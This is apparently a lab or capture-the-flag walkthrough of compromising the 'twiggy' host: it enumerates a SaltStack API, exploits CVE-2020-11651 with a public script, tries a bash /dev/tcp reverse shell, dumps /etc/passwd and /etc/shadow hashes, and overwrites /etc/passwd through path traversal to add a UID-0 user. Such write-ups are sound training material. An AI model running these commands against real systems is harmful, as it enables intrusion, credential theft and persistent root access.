Initial Enumeration
We kick things off with an Nmap scan using default scripts and service detection to get a broad overview of what’s running on the target:
nmap -sC -sV 192.168.151.62 -oN nmap_1 -v
From the scan results:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 44:7d:1a:56:9b:68:ae:f5:3b:f6:38:17:73:16:5d:75 (RSA)
| 256 1c:78:9d:83:81:52:f4:b0:1d:8e:32:03:cb:a6:18:93 (ECDSA)
|_ 256 08:c9:12:d9:7b:98:98:c8:b3:99:7a:19:82:2e:a3:ea (ED25519)
53/tcp open domain NLnet Labs NSD
80/tcp open http nginx 1.16.1
|_http-favicon: Unknown favicon MD5: 11FB4799192313DD5474A343D9CC0A17
|_http-title: Home | Mezzanine
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-server-header: nginx/1.16.1
8000/tcp open http nginx 1.16.1
|_http-title: Site doesn't have a title (application/json).
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.16.1
|_http-open-proxy: Proxy might be redirecting requests
Port 80 hosts a web server running nginx 1.16.1, and the title of the page indicates it’s using Mezzanine, a content management system. A quick search reveals this CMS has a known XSS vulnerability:
We’ll dig into that later, but first, let’s get the full picture by scanning all 65,535 TCP ports:
nmap -sV -p- -oN nmap-all-ports 192.168.151.62 -v
This deeper scan reveals two additional open ports that weren’t caught initially:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
53/tcp open domain NLnet Labs NSD
80/tcp open http nginx 1.16.1
4505/tcp open zmtp ZeroMQ ZMTP 2.0
4506/tcp open zmtp ZeroMQ ZMTP 2.0
8000/tcp open http nginx 1.16.1
These are associated with ZeroMQ, a messaging library. While searchsploit
and exploit-db
didn’t return any direct exploits for ZeroMQ itself, some further digging uncovered that SaltStack—a remote execution and configuration management tool—relies on ZeroMQ.
If SaltStack is running here, and it’s an outdated version, it may be vulnerable to CVE-2020-11651, a known authentication bypass leading to remote code execution.
Digging into Port 8000
To confirm this suspicion, I used Gobuster to enumerate directories on port 8000:
gobuster dir -u http://192.168.151.62:8000 -w /usr/share/wordlists/dirb/common.txt
It returned some interesting results:
<SNIP>
===============================================================
/events (Status: 401) [Size: 753]
/index (Status: 200) [Size: 146]
/jobs (Status: 401) [Size: 753]
/keys (Status: 401) [Size: 753]
/login (Status: 200) [Size: 43]
/logout (Status: 500) [Size: 823]
/run (Status: 200) [Size: 146]
/stats (Status: 401) [Size: 753]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
These directory names, particularly /run
, /jobs
, and /login
, strongly suggest a web-based API—possibly Salt’s.
To confirm, I ran Nikto:
nikto -h http://192.168.151.62:8000
Nikto picked up a custom HTTP header:
<SNIP>
+ /: Uncommon header 'x-upstream' found, with contents: salt-api/3000-1.
<SNIP>
This confirms that SaltStack’s API is indeed accessible on port 8000.
Using cURL, we can see this clearly in the response headers and body:
curl -v http://192.168.151.62:8000
Response:
* Trying 192.168.151.62:8000...
* Connected to 192.168.151.62 (192.168.151.62) port 8000
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 192.168.151.62:8000
> User-Agent: curl/8.12.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx/1.16.1
< Date: Fri, 04 Apr 2025 06:44:57 GMT
< Content-Type: application/json
< Content-Length: 146
< Connection: keep-alive
< Access-Control-Expose-Headers: GET, POST
< Vary: Accept-Encoding
< Allow: GET, HEAD, POST
< Access-Control-Allow-Credentials: true
< Access-Control-Allow-Origin: *
< X-Upstream: salt-api/3000-1
<
* Connection #0 to host 192.168.151.62 left intact
{"clients": ["local", "local_async", "local_batch", "local_subset", "runner", "runner_async", "ssh", "wheel", "wheel_async"], "return": "Welcome"}
Exploiting CVE-2020-11651
I found a working exploit script for CVE-2020-11651:
Before running the script, it’s a good idea to isolate the environment. I set up a Python virtual environment:
python3 -m venv venv
source venv/bin/activate
Inside the virtual environment, some modules might be missing. You can install them with:
pip3 install (module name)
Run the script and install any missing modules as they come up (e.g. pip3 install salt
or others as needed).
Once the environment is ready, run the exploit:
python3 exploit.py --master 192.168.151.62
This confirmed the Salt master service is exposed and vulnerable. It returned a root authentication key:
<SNIP>
[+] Checking salt-master (192.168.151.62:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: ESetO4U5zGl4KSxCmAcSSxuZ7eV4LqC1GaS+s2yTuXqhah/sq1Tdh/k7pT9mRq0IihgrezwtoCE=
<SNIP>
With this key, the exploit lets us do quite a bit—read, write, and execute commands as root.
Attempting a Reverse Shell
I first tried to get a reverse shell:
python3 exploit.py --master 192.168.151.62 --exec "bash -i >& /dev/tcp/192.168.45.239/4444 0>&1"
Although the command appeared to execute, the shell never connected back—likely blocked by a firewall or outbound restrictions.
<SNIP>
[+] Checking salt-master (192.168.151.62:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: ESetO4U5zGl4KSxCmAcSSxuZ7eV4LqC1GaS+s2yTuXqhah/sq1Tdh/k7pT9mRq0IihgrezwtoCE=
/home/kali/CVE-2020-11651-poc/exploit.py:351: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
jid = '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow())
[+] Attemping to execute bash -i >& /dev/tcp/192.168.45.239/4444 0>&1 on 192.168.151.62
[+] Successfully scheduled job: 20250404070900338866
<SNIP>
Reading Sensitive Files
Since command execution didn’t work, I used the file read capability to access /etc/passwd
and /etc/shadow
:\
python3 exploit.py --master 192.168.151.62 --read /etc/passwd
python3 exploit.py --master 192.168.151.62 --read /etc/shadow
This gave us access to the system users and their password hashes
<SNIP>
[+] Checking salt-master (192.168.151.62:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: ESetO4U5zGl4KSxCmAcSSxuZ7eV4LqC1GaS+s2yTuXqhah/sq1Tdh/k7pT9mRq0IihgrezwtoCE=
[+] Attemping to read /etc/passwd from 192.168.151.62
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
chrony:x:998:996::/var/lib/chrony:/sbin/nologin
mezz:x:997:995::/home/mezz:/bin/false
nginx:x:996:994:Nginx web server:/var/lib/nginx:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
<SNIP>
[+] Checking salt-master (192.168.151.62:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: ESetO4U5zGl4KSxCmAcSSxuZ7eV4LqC1GaS+s2yTuXqhah/sq1Tdh/k7pT9mRq0IihgrezwtoCE=
[+] Attemping to read /etc/shadow from 192.168.151.62
root:$6$WT0RuvyM$WIZ6pBFcP7G4pz/jRYY/LBsdyFGIiP3SLl0p32mysET9sBMeNkDXXq52becLp69Q/Uaiu8H0GxQ31XjA8zImo/:18400:0:99999:7:::
bin:*:17834:0:99999:7:::
daemon:*:17834:0:99999:7:::
adm:*:17834:0:99999:7:::
lp:*:17834:0:99999:7:::
sync:*:17834:0:99999:7:::
shutdown:*:17834:0:99999:7:::
halt:*:17834:0:99999:7:::
mail:*:17834:0:99999:7:::
operator:*:17834:0:99999:7:::
games:*:17834:0:99999:7:::
ftp:*:17834:0:99999:7:::
nobody:*:17834:0:99999:7:::
systemd-network:!!:18400::::::
dbus:!!:18400::::::
polkitd:!!:18400::::::
sshd:!!:18400::::::
postfix:!!:18400::::::
chrony:!!:18400::::::
mezz:!!:18400::::::
nginx:!!:18400::::::
named:!!:18400::::::
Modifying /etc/passwd
to Add a Root User
To gain persistent access, I chose to add a new root-level user by modifying the /etc/passwd
file.
I first generated a password hash for my custom password mypass
:
openssl passwd mypass
This gave me the following hash:
$1$X6wDOU5s$LYNjoS7B7BJ6Vhy/jCKq.0
I then edited a local copy of the passwd
file and appended this line at the end:
root2:$1$X6wDOU5s$LYNjoS7B7BJ6Vhy/jCKq.0:0:0:root:/root:/bin/bash
This defines a new user named root2
with UID 0, giving it full root privileges.
Next, I tried to upload the modified file using the exploit script:
python3 exploit.py --master 192.168.151.62 --upload-src passwd --upload-dest ../../../../../../etc/passwd
On the first attempt, the upload failed. I ran the command again just in case, and on the second attempt, it returned:
<SNIP>
[+] Checking salt-master (192.168.151.62:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: ESetO4U5zGl4KSxCmAcSSxuZ7eV4LqC1GaS+s2yTuXqhah/sq1Tdh/k7pT9mRq0IihgrezwtoCE=
[+] Attemping to upload passwd to ../../../../../../etc/passwd on 192.168.151.62
[ ] Wrote data to file /srv/salt/../../../../../../etc/passwd
<SNIP>
This confirmed the file had been overwritten.
To be safe, I verified the contents of /etc/passwd
using the file read option in the exploit:
python3 exploit.py --master 192.168.151.62 --read /etc/passwd
Sure enough, root2
appeared in the output.
<SNIP>
[+] Checking salt-master (192.168.151.62:4506) status... ONLINE
[+] Checking if vulnerable to CVE-2020-11651... YES
[*] root key obtained: ESetO4U5zGl4KSxCmAcSSxuZ7eV4LqC1GaS+s2yTuXqhah/sq1Tdh/k7pT9mRq0IihgrezwtoCE=
[+] Attemping to read /etc/passwd from 192.168.151.62
<SNIP>
root2:$1$X6wDOU5s$LYNjoS7B7BJ6Vhy/jCKq.0:0:0:root:/root:/bin/bash
After verifying that the new user appeared in /etc/passwd
, I was able to SSH in:
ssh root2@192.168.151.62
Password: mypass
Success! We’re now root. The flag prrof.txt
can be obtained from the current directory.
┌──(kali㉿kali)-[~]
└─$ ssh root2@192.168.151.62
The authenticity of host '192.168.151.62 (192.168.151.62)' can't be established.
ED25519 key fingerprint is SHA256:uYMZFN9vYkxFeoZ23/Znor6lCrABMH4HLFk4qNAIkB4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.151.62' (ED25519) to the list of known hosts.
root2@192.168.151.62's password:
[root@twiggy ~]# ls
proof.txt
[root@twiggy ~]# cat proof.txt
65975b598110ddffed561696e6cf5fa9